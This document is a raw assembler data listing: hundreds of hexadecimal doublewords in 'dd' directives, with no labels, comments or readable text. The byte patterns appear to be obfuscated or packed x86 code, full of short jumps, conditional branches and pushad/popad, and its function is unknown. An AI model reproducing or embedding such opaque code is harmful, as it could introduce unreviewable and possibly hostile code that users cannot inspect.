		dd 8E9h, 0F88B9B00h, 879B3FC7h,	8A0F5703h, 17h,	12E9h
		dd 4A9CDC00h, 3E442A1Ah, 45CC0A4Eh, 0D01355B0h,	584E42CFh
		dd 0D4B661B8h, 9850F64h, 0F000000h, 381h, 71E28000h, 12E9D38Bh
		dd 89000000h, 0F9C52D0Ah, 0B182B305h, 5334CBA0h, 0E0D912BEh
		dd 0FEA8A4Bh, 0B966CBBFh, 0CA8B7BAAh, 28D0Fh, 3FB10000h
		dd 6E9h, 3750B400h, 0FC6CDDFh, 584h, 0CB816600h, 0E9F560BBh
		dd 14h,	0C0A9779Bh, 0CBC26C0Fh,	0F092B60Eh, 5BEFC63h, 4EAC0232h
		dd 779B52B9h, 0EC2FB824h, 66F8011Ch, 810EABB8h,	746BA3DFh
		dd 48D28145h, 663433FBh, 0D18BF18Bh, 0F38BEB8Ah, 0CE8h
		dd 0DC18300h, 0FDBE24BEh, 5FF2C2h, 0DB81666Bh, 665F5161h
		dd 662585BBh, 8B66C68Bh, 7E8F3h, 0A47E0000h, 0EEC307A9h
		dd 11E837h, 24390000h, 0AE591A73h, 7BE6ED6h, 0F62BFC1Eh
		dd 0F9798FDCh, 0F7815A5Ah, 564E528Eh, 58CCE181h, 0BE661AD8h
		dd 81668673h, 0BB3125C0h, 5D29CC0Ch, 7E8h, 0C9C66D00h
		dd 20D09E75h, 0F482BF66h, 34D6805Bh, 0DE9h, 7C6F0D00h
		dd 92068ADBh, 2DB2D020h, 6ABE16BDh, 60491039h, 0E9D98B66h
		dd 0Bh,	4DBD3A63h, 5B2256FBh, 6108F1F3h, 0CE8014B5h, 0BE9F88Dh
		dd 0AA000000h, 7A9895E7h, 0EEAF677Bh, 0C281F16Bh, 356333Fh
		dd 0BDB8D781h, 12E904A5h, 0E4000000h, 0A8B22DB9h, 0F0F4D807h
		dd 3F8968B5h, 80E0E82Dh, 0D7B70F75h, 3830Fh, 0BF0F0000h
		dd 0FE8D6h, 0C0880000h,	4B66F8F4h, 0F6D38DFDh, 9C1B5C34h
		dd 16800F5Bh, 0E8000000h, 10h, 8444E861h, 1BD26BBh, 0F54F974Dh
		dd 1DB01D15h, 8B665F5Fh, 18C281D1h, 605B4E3Ch, 15890Fh
		dd 10E90000h, 0FC000000h, 338CB136h, 0EE9953A5h, 9AD1212Dh
		dd 0E9DFAF9Eh, 0Eh, 9CB39FACh, 74BC1273h, 8B982CF5h, 8161ACE7h
		dd 0BF66EF3h, 0FE875h, 0C0DA0000h, 0FC026216h, 1EE3BC2Fh
		dd 4C4AA6E0h, 59D38BFBh, 9E8h, 0B1D6BB00h, 950667ACh, 0F5E51B1h
		dd 586h, 0DF816600h, 0C68182B2h, 57B0E84Dh, 0E8F8B70Fh
		dd 0Bh,	542166FEh, 0ACF1CF55h, 8A14AEA7h, 0BEF95BC2h, 4467345Bh
		dd 11880Fh, 9E80000h, 43000000h, 0FA729CA4h, 0F9DB615Ch
		dd 665A5857h, 0BB66C18Bh, 0BF0FFA64h, 0B0D281DEh, 8111DB28h
		dd 0CC7C28E3h, 0CF81F951h, 356049B3h, 94E88166h, 0B35760E7h
		dd 0FAB95AF9h, 611FE405h, 6E9h,	486ED800h, 56DB37ECh, 31DF815Fh
		dd 5731FF59h, 5EC1B70Fh, 890FCB8Bh, 0
		dd 5E8h, 89FC4400h, 8E0F043Bh, 5, 3C78166h, 0BE665EC0h
		dd 6660711Ah, 6156E1B9h, 0F1B70FF9h, 22F18166h,	1D7CB9C5h
		dd 5E90D32h, 0E4000000h, 9CFF2C82h, 0F7816657h,	0FC5FFD61h
		dd 0BE9h, 2FBC9B00h, 0C4FA4AFCh, 0FF88FFB8h, 0F28B6660h
		dd 27E98061h, 0CE8h, 0F847F900h, 0C174B843h, 0FA300698h
		dd 0D18B6692h, 605F5058h, 0E9D0B70Fh, 0Ah, 4CD19BA1h, 3E0811A8h
		dd 8B61C02Ah, 0AE9C8h, 0B4790000h, 82E01A88h, 0A5B0F550h
		dd 10E8F8h, 60AE0000h, 1EB4007h, 97C06173h, 76CA2AE8h
		dd 3BB808CFh, 5F71FFBCh, 0C2B70F60h, 0F561D38Bh, 0BE8h
		dd 8806A000h, 0B3DFBD2Ch, 0D179E85Ch, 830F5FFCh, 0Ch, 6850Fh
		dd 8D0F0000h, 0
		dd 0CE8h, 0B00DCB00h, 7A9A75ADh, 51B940C5h, 73EA8110h
		dd 5F180680h, 8B0FF5h, 81000000h, 9DC18CE3h, 9E974h, 0C4A10000h
		dd 45A3A059h, 819650EDh, 0A8F376C3h, 575B5179h,	5FD1B70Fh
		dd 0BF66F28Bh, 8166777Dh, 60ECD7C3h, 0C7816660h, 0BF0F1F23h
		dd 816661C6h, 616AECF0h, 5E32BF66h, 0FF7BF0Fh, 482h, 41BF6600h
		dd 40BA6603h, 14890F5Ch, 0E9000000h, 0Fh, 72FB698Bh, 3DA1BF8Fh
		dd 0A55E49D0h, 0E941E690h, 0Ah,	4997A71Bh, 0C301DBh, 0EA8186EFh
		dd 64FD62A7h, 0FF28B66h, 78Bh, 8B666000h, 616160DFh, 0E5CFD881h
		dd 0BF0F2A0Bh, 0BE9F1h,	0A5980000h, 274E452Ah, 0B20CCC23h
		dd 4E40BF91h, 810F6221h, 5, 114A85B9h, 7E917h, 889D0000h
		dd 870515EDh, 5E9605Dh,	11000000h, 0B1979F30h, 0A6ACBF66h
		dd 10E861h, 0B5FF0000h,	0B469DADDh, 0AC9ACFB8h,	9DB80286h
		dd 6E94A46h, 8F000000h,	9B656A04h, 0BF0F5A15h, 8AC78BC3h
		dd 0DDB753D9h, 6DB9665Eh, 7E936h, 0C8880000h, 1E515F89h
		dd 0C7816606h, 850F7382h, 0
		dd 0F18B51FCh, 0EE958h,	0C3050000h, 8BA18564h, 78C61ABEh
		dd 0C92D4686h, 0FCA8B66h, 8E8FBBFh, 37000000h, 0CF444D8h
		dd 0F3722DAh, 58Ah, 0F0816600h,	8A5FF0E7h, 0DE9D5h, 0C9F00000h
		dd 0BF15DF0Fh, 17C28017h, 0FF442ADh, 0B8Ch, 5820F00h, 66000000h
		dd 0E8B8E381h, 12E9h, 1814D700h, 8B1D5EB1h, 47F80B2Ah
		dd 1877D4F1h, 6053D2BAh, 0B4FEBF66h, 870Fh, 0F610000h
		dd 13E9F7B7h, 5A000000h, 9C5AC7ADh, 9029E668h, 34FA1ABAh
		dd 0CFF1CE0h, 0CE9B1F7h, 77000000h, 0DA5C65B5h,	2CE64552h
		dd 0F315863h, 286h, 0E8FB8B00h,	0Fh, 5EA2C24Dh,	9ADFC48h
		dd 992E7378h, 0FC2FCFF3h, 0F7BF0F5Ah, 9FBF6651h, 81665B5Dh
		dd 0E820C8D2h, 14h, 0B2FCB720h,	0B491BAA1h, 4C2E9CE0h
		dd 6A42139Fh, 8EADAB33h, 0F5B06B5h, 13E8C7B7h, 36000000h
		dd 20169E43h, 86A4974h,	0C84C7151h, 8BD08FDDh, 0CE80B1Fh
		dd 9B000000h, 937FA6Fh,	0CB6B3842h, 668D4911h, 5E3EDFB9h
		dd 0C2BF0F5Ah, 2890Fh, 0C68B0000h, 0ED9DE181h, 0B6B86A99h
		dd 8A5ACC9Fh, 0F8B70FD9h, 1A8C0Fh, 12E80000h, 0B9000000h
		dd 0BAA6D074h, 0B4ABCCD0h, 0AADBDC82h, 0F52C000Ah, 5F12B174h
		dd 0A8E0Fh, 5E90000h, 48000000h, 9687386Eh, 8BDE8BFCh
		dd 0C3B70FC1h, 0FC78B66h, 0BB66D6B7h, 0B70F6F0Fh, 0AE9DEh
		dd 36E0000h, 50B99139h,	0A0FB47C2h, 1521A0BEh, 0F63CBF26h
		dd 0E9607DBFh, 0Dh, 0F67A356Ch,	691B77CDh, 19F4A6Bh, 0C88161DFh
		dd 0ACB2BB6h, 0C4A1E881h, 8B0F0512h, 5,	0D053DAB8h, 0DE91Dh
		dd 0AE720000h, 1F5C18F9h, 0BEE0C6D2h, 0F3F1A81h, 1786h
		dd 12E900h, 0A9C60000h,	0C8D92A41h, 702BF620h, 30F956B0h
		dd 3DAF0CB7h, 0BE66DA8Bh, 880F0C2Bh, 1Eh, 880F60h, 0E9000000h
		dd 11h,	0A0B94136h, 0CA0391C3h,	0F0EDE555h, 0D0DFA4D4h
		dd 0E95361BBh, 0Ah, 0C1E96FA0h,	317B9C3Bh, 8A5FA76Eh, 77FAB9D1h
		dd 0C68105CBh, 6D5A373Fh, 0AE9h, 0AA065200h, 39266FF7h
		dd 56168C9Eh, 8E9h, 5CB2B900h, 0B80E75B9h, 0F575F99h, 6658D3BFh
		dd 0C78ADE8Bh, 0E9C18B60h, 8, 55F67260h, 1B98DCB9h, 0AE861h
		dd 0ED150000h, 7EE2A520h, 0DC104434h, 0EE9h, 0A2F54A00h
		dd 3FD91B47h, 15EAC77Dh, 5F66021Ch, 0FE8F5h, 67710000h
		dd 45D2EC75h, 8A6FE66h,	0DA5603BDh, 1B74BEB4h, 0F85E23C9h
		dd 0C2D68160h, 8B1943B6h, 12E961FAh, 94000000h,	2489AFB8h
		dd 88DE0443h, 0F5838B14h, 1234FCE1h, 0BE907h, 497A0000h
		dd 3241E120h, 0C0A1B886h, 18E0FD7h, 0FC000000h,	0E9C28BF5h
		dd 10h,	44AAB53Ah, 50FC9DBEh, 5EC271AFh, 0EC553BE8h, 0CE97BB3h
		dd 0D5000000h, 0A560DCE1h, 0B288822h, 0E99B7106h, 8, 57A2A5E0h
		dd 0B031C5B5h, 0D8D88166h, 5ED680DAh, 8BC781F8h, 0F6165C6h
		dd 0A8Fh, 4820F00h, 66000000h, 660272BAh, 8AF6ADB9h, 660BB0E5h
		dd 0D681D08Bh, 133BF9F4h, 0BE950h, 4D9F0000h, 46CD5FD5h
		dd 6E75197Ah, 0CE85EA3h, 0F1000000h, 0ECF46404h, 0E8058C43h
		dd 0E9EC4E88h, 6, 9B6A7Ah, 605F8357h, 39DA8053h, 6056615Bh
		dd 61608FB7h, 81665E61h, 666BF2EEh, 0B3C971BFh,	0D68B66B7h
		dd 0D3C9E881h, 0FF81723h, 0FE8BC9BFh, 0BE952h, 23B20000h
		dd 0CFC68B29h, 944CFD58h, 0BF0F5F89h, 188B0FF8h, 0E9000000h
		dd 13h,	1B705CDBh, 2AA8BF40h, 0F37F800Ah, 74061455h, 0F740D47h
		dd 8B66FFB7h, 0F28B66F8h, 3DD290BFh, 7CD8805Dh,	2860Fh
		dd 0E4B50000h, 0FCD08166h, 0E8F38B1Dh, 5, 0A4EAD44Eh, 5539BF65h
		dd 0E95846D2h, 6, 2B4359F9h, 0E960210Fh, 0Ah, 499BB94Ah
		dd 30ED25A7h, 840F769Bh, 0
		dd 0AE961h, 0C6D10000h,	637B0625h, 28048559h, 919DBB66h
		dd 48A0Fh, 0BB660000h, 0E2818363h, 14C90E93h, 8E8h, 0C66D6200h
		dd 0D09E75C9h, 10E920h,	25DE0000h, 0DA52C1EEh, 19E9D7E8h
		dd 4659C27Ah, 0E95A624Eh, 13h, 0D1D1E6E0h, 73A998AAh, 2952F609h
		dd 0D4087744h, 80AD56BCh, 6657B9DEh, 5F9174B9h,	8539BF66h
		dd 3462BB66h, 0E8E98166h, 0EDBF6653h, 8166F521h, 50A05CC3h
		dd 0B8B0Fh, 5E80000h, 0E1000000h, 55DF4FA1h, 0BF0F5B59h
		dd 666052CFh, 0F8AC2DB9h, 66F55F61h, 0BAE787BFh, 8D48739h
		dd 2840Fh, 0F58A0000h, 36B966F9h, 0FFBF0FFDh, 0FDABF0Fh
		dd 0FE8C8B7h, 4F000000h, 9438156Eh, 6971E4B5h, 0D1E95F11h
		dd 58F95192h, 8820Fh, 890F0000h, 2, 0C0B9D7B0h,	0B8330B0Fh
		dd 39CE3E5Dh, 0CE9h, 73DC5A00h,	0D4CFF2D2h, 31936EA5h
		dd 39B96696h, 0BE830h, 30920000h, 0FFAEE096h, 0F279FBEEh
		dd 0DFB70FA4h, 81665059h, 5E54BFD6h, 0EEC88166h, 0CBB70FEFh
		dd 1FE0BE66h, 19AC381h,	0CE95B11h, 34000000h, 0A33BEE3Fh
		dd 20698E36h, 0E8A38CC1h, 0Ah, 119882D8h, 773E1F58h, 8B0FAED2h
		dd 2, 0F95BD68Bh, 0D78AE7B0h, 3860F51h,	80000000h, 665F4BDAh
		dd 0B70FCB8Bh, 81D18AD9h, 0B70674D3h, 10E970h, 0E4950000h
		dd 27A29551h, 5FC3C647h, 67846EBh, 0CF8A6E10h, 14810Fh
		dd 80600000h, 9E82FE1h,	7B000000h, 563FACA9h, 0EC083FBEh
		dd 840F615Bh, 5, 2FD08166h, 8B6657F1h, 66F558F3h, 605BEBBFh
		dd 0EE856h, 13240000h, 0DDC97E71h, 46E8E306h, 0B779262Fh
		dd 0BF0F5858h, 0BF6661F8h, 8B0F7494h, 0Ch, 68E0Fh, 0E1810000h
		dd 0E57165Ch, 1C800Fh, 14E80000h, 0B9000000h, 40C05436h
		dd 8923D22Ah, 0B0236B10h, 0AC643C63h, 8B57F1A8h, 0B70F5FFAh
		dd 16800FC2h, 60000000h, 13E98166h, 0AE9B6h, 0D88F0000h
		dd 2F78D56Ch, 3ABFC218h, 54B86061h, 0F81863C9h,	0B05EBF61h
		dd 8F0F1721h, 5, 10AE0CBAh, 0F8BF0F00h,	0EE8h, 5312000h
		dd 0D295C1BBh, 13D11834h, 0FC2866Ch, 289h, 5BC68A00h, 8B66F9F5h
		dd 4EBF66C1h, 0B840F42h, 0E8000000h, 5,	3451D5F7h, 0B70F5B11h
		dd 0DEBF0FDAh, 0EE9h, 103C8F00h, 4FFF5504h, 0BCF0854Dh
		dd 66B9C752h, 4122DE81h, 9E9F5h, 0AF7A0000h, 687808FBh
		dd 81F415B2h, 0FA6647DFh, 8BE18A7Eh, 4870FF2h, 66000000h
		dd 81944FBEh, 0A41F83D2h, 0FE969h, 0CF130000h, 1265CBCFh
		dd 8D54D9AEh, 0B4AAC5C4h, 0C68BF9E3h, 0BE8h, 8FB6F500h
		dd 0D5233E33h, 9F9BB7D5h, 38D0Fh, 0BF0F0000h, 880F5ED0h
		dd 9, 38D0Fh, 8B660000h, 0CE8A50DEh, 3850F5Ah, 66000000h
		dd 860FD68Bh, 18h, 13E9h, 0BD1A0F00h, 6B3C38EDh, 0D49E51DFh
		dd 1C0D7F7Ah, 0F8AE635Ah, 0B8C78166h, 28D0F2Ch,	0B1000000h
		dd 0D88BFC9Dh, 66D2B70Fh, 0F9EC9BEh, 1087h, 0BE900h, 56FF0000h
		dd 0A2F8407Eh, 0B76AEEACh, 8BE78A46h, 8E960D6h,	80000000h
		dd 9E2DE5Eh, 0F53F4847h, 0D6816661h, 32BE1090h,	0F7EC1F1h
		dd 38Eh, 0CEBF0F00h, 0FFA8B66h,	68Ah, 51EE8100h, 817B7B82h
		dd 63BE9EDAh, 8B66600Eh, 8A6061CFh, 0E861F9F8h,	5, 0DFE46BD3h
		dd 0B059F510h, 0FFBF0F69h, 3850Fh, 8B660000h, 0F60F5F7h
		dd 680h, 0AEDE8100h, 0F72E420h,	8161D0BFh, 18754E8h, 0F6B70F70h
		dd 0F04BDF81h, 0E9FC2077h, 0Bh,	695CC20Fh, 0FD544916h
		dd 0F9382E90h, 0F983EB80h, 6820F57h, 0F000000h,	84h, 6E95A00h
		dd 60000000h, 76675CC0h, 0FE962h, 57850000h, 0D27244AEh
		dd 56AD435Bh, 830FBD5Ch, 0D1816659h, 0BF663F69h, 0E980D07Ch
		dd 88D68007h, 0C6AABF66h, 7E8h,	0EC940100h, 4CC4CEE3h
		dd 5EDAC280h, 0E997EC80h, 0Fh, 178970DAh, 0D5FF3BDAh, 3CE9B009h
		dd 66B0C5AAh, 0F960DE8Bh, 61C88B66h, 14E9h, 0A008D300h
		dd 6C3AD078h, 97D7163Fh, 0C5C72EB9h, 0CB6EAD0Bh, 0FE953CAh
		dd 0CB000000h, 305E1AE6h, 6F3A2522h, 22F5CAA3h,	665ABDB8h
		dd 667F76B8h, 81F8C18Bh, 0C45EB6D8h, 0F28B6624h, 56C2B70Fh
		dd 28A0Fh, 0DD8A0000h, 0CDEB815Fh, 8B094D48h, 5E960F2h
		dd 89000000h, 0FF3BDA17h, 61D68B66h, 74D28166h,	5860F48h
		dd 60000000h, 61F9B70Fh, 12880Fh, 7E80000h, 0A8000000h
		dd 5D2AED27h, 8166CAD8h, 5EC3C3EFh, 4820Fh, 0BA660000h
		dd 0AE87C70h, 81000000h, 0A44B3F77h, 9F573C24h,	0CE8166B4h
		dd 66588C47h, 0E99F64B8h, 5, 0E932E291h, 6004B3AEh, 0FCEB70Fh
		dd 58Eh, 7F43BA00h, 0F6161B5h, 0A81h, 4890F00h,	66000000h
		dd 80E7C1BBh, 0E680A6F1h, 0EE9F9BFh, 99000000h,	186E68B4h
		dd 88726ABBh, 0C5A6C518h, 5E9A4h, 0FA920000h, 6692347Ch
		dd 684BDF81h, 8ACF8B66h, 65B052EFh, 850F5758h, 16h, 11E9h
		dd 0F08CA000h, 0E5468E9Dh, 766E5E50h, 28FC558Bh, 0BB5F216Fh
		dd 3F579D3Fh, 2D11E181h, 0EE9255Ah, 22000000h, 0B3F3DDA4h
		dd 0A16C4490h, 1A9C8C6Ch, 0D0BF66CCh, 6E9A0h, 48F0000h
		dd 159B656Ah, 0CE9h, 0D12F8700h, 12AE5DF8h, 36434EE9h
		dd 52EC806Eh, 0E808E680h, 6, 68F62FD6h,	6660FEB0h, 66BE9EBBh
		dd 3C4EEA81h, 0DE95A61h, 59000000h, 3BEBC2CCh, 0B598A60Eh
		dd 4FA1E100h, 8166F98Bh, 0F0530DAh, 0B88h, 5E800h, 469B0000h
		dd 58AD0928h, 0AE9h, 529F4500h,	3554C198h, 66662652h, 2FF5DB81h
		dd 0C8A0Fh, 800F0000h, 6, 840Fh, 0BF0F0000h, 0DEE80C8h
		dd 665252B1h, 0B95FDF8Bh, 511FCB32h, 208D0Fh, 0E8600000h
		dd 0Dh,	0FEAC156h, 95ED08F6h, 0DA74DBD6h, 5E8597Ah, 8C000000h
		dd 0DD55F2B0h, 0EE8615Bh, 0E6000000h, 0B3EA7D08h, 3FE3ABF9h
		dd 7C757787h, 0CEB70F99h, 0FBBF0F58h, 14E9h, 6846100h
		dd 0BBE8DE64h, 8504409Ah, 4ED34501h, 0EAF50205h, 0EE9517Bh
		dd 0BE000000h, 0E6E775D8h, 355A26FEh, 51458F78h, 8B665904h
		dd 0EFBB66F2h, 0C9C68111h, 5010C9E0h, 48A0Fh, 0BB660000h
		dd 0E958F5B9h, 0Eh, 0AC1D99B0h,	6FB4F653h, 7BE89E3Dh, 0BF0FFDFDh
		dd 0F28166DBh, 0EE9A2ACh, 16000000h, 2FA86AE9h,	0A8931748h
		dd 847119BEh, 0F8DE8B96h, 5F5ED381h, 0F5532F93h, 8E95Bh
		dd 0B4550000h, 9326F904h, 0C8812089h, 3BEAE181h, 3800Fh
		dd 0B70F0000h, 0FB8B66C2h, 0BF6624B4h, 0C78B2DFFh, 3FBA62B4h
		dd 6631B9CBh, 0E8D4F781h, 6E9h,	0AFFB2400h, 0F95F22B2h
		dd 599202BBh, 0FC78B53h, 38Bh, 0CBBF0F00h, 0BDB45A56h
		dd 13E9h, 9241F00h, 85A48A41h, 87CC6CE1h, 1DE8207Ah, 2A74EB25h
		dd 0E8B0Fh, 9E90000h, 0F9000000h, 7C14DBB6h, 813EA10Eh
		dd 0A9A835BEh, 0E8F18B44h, 5, 4203496Fh, 58F0F7Ah, 0B8000000h
		dd 245D596Ch, 73DB815Eh, 6600422Bh, 0E8F8D68Bh,	0Ah, 0A126678Ch
		dd 0B727D266h, 880F8F7Dh, 3, 5F81CA80h,	8B66F08Bh, 6E8F9h
		dd 0E9C40000h, 245D9E98h, 0E8816659h, 800F9A73h, 0Ch, 68C0Fh
		dd 0D1810000h, 2750B111h, 66D68B66h, 0AC5CF681h, 9EEB8166h
		dd 0D38B5649h, 8E9F95Bh, 38000000h, 0DF2A9732h,	66ADDD06h
		dd 0E9CC47B8h, 9, 0EECA325Dh, 319D85D8h, 0A9B966F8h, 13860F46h
		dd 0E9000000h, 0Eh, 0EFF0E32h, 757FF2A2h, 0DF0B9FF4h, 8B668A31h
		dd 17800FFBh, 0E8000000h, 0Bh, 5DADA8F8h, 0ECA2B831h, 0F7F8D51h
		dd 8Ch,	5E85F00h, 0FF000000h, 1A22CFB0h, 5ECE8B57h, 3860F5Bh
		dd 66000000h, 0CE8CE8Bh, 88000000h, 97D943E7h, 6A111A3Bh
		dd 0B6EF32E0h, 0BE95FB5h, 0A1000000h, 0DCF75116h, 0A6D6963Eh
		dd 0CE81B190h, 3C49F9EBh, 7E850h, 24F90000h, 0E6CCBD33h
		dd 0DE885h, 65710000h, 80BCDE50h, 1FC1E531h, 5F2AD321h
		dd 0F08A5B5Fh, 0BAE9B866h, 0B8FCFA8Bh, 7F0CD447h, 0B866FA8Bh
		dd 6BB28AAFh, 7A6D33BFh, 66D88A02h, 403BE681h, 0E9DBBF0Fh
		dd 0Dh,	723B6FC2h, 576B54CFh, 0E4DD47C4h, 6ABF6619h, 1830FEEh
		dd 0F8000000h, 0FA8BF960h, 0D865B861h, 0B70F79F3h, 60F18BF7h
		dd 5E951h, 0FF320000h, 5F711E42h, 6061DF8Bh, 2EE48060h
		dd 0F6B1B861h, 666101CAh, 669DF6B8h, 96B3F38Bh,	850Fh
		dd 0FF50000h, 0F78BD1B7h, 2880F60h, 52000000h, 0C38B6658h
		dd 14E86061h, 0F0000000h, 0C29D5CB6h, 3294BD2h,	68ED2D62h
		dd 0BE8A03D1h, 0FCE79D8Bh, 12E96058h, 0C4000000h, 15A1A795h
		dd 24BA5261h, 130A2F7Ah, 8FF8031Fh, 0CBC981C5h,	6174D44Ch
		dd 13850F61h, 0E9000000h, 0Eh, 4B96D67h, 0FE8B616Ch, 15BA2DF1h
		dd 0BF0F8BACh, 0F2CF81F3h, 0F085A73h, 1A8Eh, 10E96000h
		dd 0C2000000h, 6F9EDAE0h, 5069DE47h, 0EA119A92h, 0FD4843Fh
		dd 8B61F2B7h, 0ACC5B9D8h, 5F50626Dh, 8E0FDE8Bh,	6, 6EC3F681h
		dd 66601A75h, 6060C68Bh, 6E961h, 0EF300000h, 9BA281B6h
		dd 9E96161h, 0F6000000h, 0A86408A7h, 59090C59h,	0FCC3BF0Fh
		dd 3810Fh, 8B660000h, 7E9CEh, 0DEF30000h, 6FAE907Dh, 0DF8B6057h
		dd 0B86661F5h, 0BA668912h, 66FC7757h, 66CF21BAh, 6056CA8Bh
		dd 0FE9h, 0C9170E00h, 0C6D41A14h, 0F8827802h, 0F8F08174h
		dd 5B61B6B4h, 0BECE8B66h, 6342183Bh, 6902FCBBh,	53DE8A28h
		dd 14E8h, 83E8F600h, 6B18FE80h,	6020C2EBh, 2E0DB1B9h, 0D60DE9D3h
		dd 0F5B5F43h, 28Fh, 80CE8B00h, 8E960EBh, 2F000000h, 0D06E90BDh
		dd 0E9A2BB90h, 8, 88E8058Ch, 1FBDEC4Eh,	6E9h, 0B6785600h
		dd 8B7E4054h, 2870FCFh,	8B000000h, 0D3BF0FCFh, 8B6650FCh
		dd 10E95FC3h, 29000000h, 5157EE23h, 0ED48A5C6h,	573E7FD5h
		dd 0BEB1E5A1h, 4D244946h, 0B9FFB70Fh, 73C75B02h, 5E9h
		dd 0EFADB200h, 80F9D6CDh, 0DF8B6EC7h, 81F1B70Fh, 61DE8BC0h
		dd 0FE948h, 82A10000h, 0C1EA3B47h, 7D32C36h, 9046D35Dh
		dd 0B0D98111h, 0E95B97BCh, 8, 88F3C493h, 0AA5C9513h, 0F1B16060h
		dd 8B0Fh, 0B8610000h, 3101E829h, 0F2806061h, 6E86188h
		dd 0F6000000h, 0CAA718FAh, 0FE39B8C1h, 0F5A5E64h, 589h
		dd 0F2816600h, 8E99CFDh, 8A000000h, 0FC3FD22Eh,	66B086FAh
		dd 2AF4DB81h, 0AE9h, 0F6BC7400h, 10CCC7AFh, 0FC36F974h
		dd 0CE9h, 32781200h, 0E9F353D7h, 0C5B6FB6Dh, 0FF08BB4h
		dd 286h, 60CC8A00h, 3840Fh, 0C7800000h,	11E8619Dh, 6000000h
		dd 8177032Ch, 0C2B85191h, 527A099Fh, 30C52A25h,	525FD08Bh
		dd 0CE9h, 2D9B9D00h, 167FBD0Ch,	6725A117h, 6E95829h, 36000000h
		dd 0FFE7A49Ch, 0F7816621h, 9E9D12Ch, 65000000h,	75CA2325h
		dd 0BAC55451h, 8166C28Bh, 80D82CC0h, 0AEB553C2h, 83B863B7h
		dd 80425A28h, 99B1CDF3h, 45B8F081h, 0DF8136D8h,	6557862Fh
		dd 6610E480h, 0E959FAB8h, 11h, 0F374129Bh, 4D6F84B8h, 0C4CC5B25h
		dd 59B2641Ah, 0EE816616h, 8166D755h, 0B17161D3h, 12E8BEh
		dd 0E8090000h, 0CABEBB3Ch, 4CF2282h, 0B9E70E2Ah, 0D8D82BDEh
		dd 0C1816660h, 8B66B320h, 0E85F61D0h, 0Ah, 807B6D69h, 65EA7746h
		dd 8E8271Bh, 11000000h,	487115B1h, 608C09B9h, 0F5E5961h
		dd 689h, 8C0F00h, 0F000000h, 8Ch, 16B86600h, 3800F4Bh
		dd 80000000h, 5E847C3h,	0EB000000h, 0E761B0F1h,	0D9816658h
		dd 0FF93BEDh, 581h, 0F2816600h,	8166B71Bh, 66C698F2h, 66D377BAh
		dd 0ED26DA81h, 669DC380h, 0BE8D88Bh, 0B6000000h, 4340EF6Ah
		dd 0EA1BE80h, 0B360CB2Ch, 5B61FC5Ch, 568BC580h,	8A0F60h
		dd 0E9000000h, 0Ch, 0F602674h, 97A6670Ch, 8B86977Eh, 0C1805961h
		dd 10E968h, 5FEE0000h, 8691FCECh, 4A9CDC5Dh, 3E442A1Ah
		dd 0BB660A4Eh, 8166BA1Ah, 0F02EFF6h, 38Dh, 0B0CD8000h
		dd 13E9E681h, 0FF861F2h, 0E957C6B7h, 7,	0AE80D3D7h, 59487ADFh
		dd 0DE9h, 0DABD0900h, 0E53F11C9h, 7403BB0Fh, 5E98122h
		dd 0A8000000h, 2BB4D215h, 0FD2BF0Fh, 80FCCAB7h,	0BF664FCEh
		dd 8B662A1Ah, 66F88BFBh, 0E94E6EBAh, 9,	0BEADDB75h, 0E1F73CC4h
		dd 8C381EEh, 0E93D92FBh, 5, 0B28E71C3h,	54F381CBh, 0E96B7939h
		dd 9, 51BA61ADh, 3F50EC13h, 5830F6Ah, 50000000h, 59CAB70Fh
		dd 0FD78B66h, 8Dh, 0C68B6600h, 12E8h, 57C87600h, 3B0B0BBBh
		dd 219C496Eh, 5FB4A632h, 0E9A65852h, 7,	0DAB75ECBh, 5FD04B5Bh
		dd 0E2816060h, 707F9561h, 6061F961h, 5C44BB66h,	0FF98B61h
		dd 0BE66CEBFh, 0D680470Ah, 0CB8A5133h, 4584B859h, 0EE963C7h
		dd 7D000000h, 4D7E0D01h, 0C208153Eh, 80BA764Fh,	89EA814Fh
		dd 80596273h, 5156F8CFh, 880F5F5Ah, 2, 78B755B0h, 0FADDBE66h
		dd 0F61FC60h, 384h, 0C9BF0F00h,	0C8B70F50h, 7E859h, 9AE0000h
		dd 0CC2AD2FBh, 0BE9E5h,	42F30000h, 0CA7D280Ah, 0C3D9078Fh
		dd 0C1815A98h, 60A4ECA8h, 6617B3F5h, 0C681C78Bh, 68E9BB4Ah
		dd 0CE8h, 0C6BBE400h, 3891B6FFh, 82437AD0h, 0C0B70FA1h
		dd 0F1DB815Bh, 0B30AA329h, 28E0FB7h, 8A000000h,	0C2BB66E2h
		dd 53B9B54Eh, 68F0Fh, 0EF810000h, 77E54E4Fh, 9E9535Ah
		dd 0B9000000h, 47A9E4ADh, 36D9F028h, 28F0F5Fh, 0B2000000h
		dd 0B8E0F0Dh, 0F000000h, 588h, 0C0816600h, 0E9608B48h
		dd 12h,	26C37F10h, 2308FC35h, 0BC5CC73Fh, 0B7EA599Eh, 6661B3C6h
		dd 8B66CA8Bh, 0FE9D1h, 5F270000h, 1B10192Fh, 5111C320h
		dd 0AE201038h, 4880F3Fh, 66000000h, 0B66B02B8h,	0BB3CB20Eh
		dd 40ADA258h, 8E9FCh, 7B480000h, 0BACA461Dh, 8B6689ECh
		dd 5EBA66CBh, 0BCC98148h, 0F0D2DF0h, 0FB8BFEBFh, 0FF98B66h
		dd 0C78BF0BFh, 6820Fh, 0D8810000h, 4417CDC2h, 6880Fh, 0E7810000h
		dd 47D17263h, 7E9h, 8766D00h, 0EC96A46Dh, 2162B866h, 0E8F08160h
		dd 56643415h, 8B60615Bh, 2DBB61F2h, 815AF565h, 0FAB069DAh
		dd 0CE952h, 24EC0000h, 4AAA9B84h, 5D2F2338h, 8166824Bh
		dd 80A691C1h, 0BE976C3h, 15000000h, 0C9806460h,	0E25B53FFh
		dd 0FE93A64h, 0C6000000h, 0A8FCD598h, 579A50A1h, 351B635Dh
		dd 0AE96D5Fh, 85000000h, 474D31F8h, 852790CCh, 50F98BC2h
		dd 66C68B5Eh, 0F855A9BFh, 0CBC28160h, 664E4F4Ah, 0E961FB8Bh
		dd 0Bh,	73C7BC73h, 0BD45F3EFh, 66DAD4BEh, 0FC81D4BEh, 8335BF52h
		dd 80582CB0h
		dd 41B58BC5h, 0AE9h, 9BC21C00h,	41C9AA38h, 81EA8D4Ah, 0C826ABC3h
		dd 9E876h, 0D9A80000h, 71E5617Eh, 0E94462B8h, 10h, 0FC2CD996h
		dd 624BFD51h, 29467A25h, 25CFC9B0h, 0C7EF815Fh,	0F4B3BF6h
		dd 0DE8F7B7h, 2E000000h, 44882EA0h, 0CDEB5C24h,	7A06A29Ah
		dd 11E8h, 5BF28600h, 1635E023h,	0FE83FE8Dh, 377E37B9h
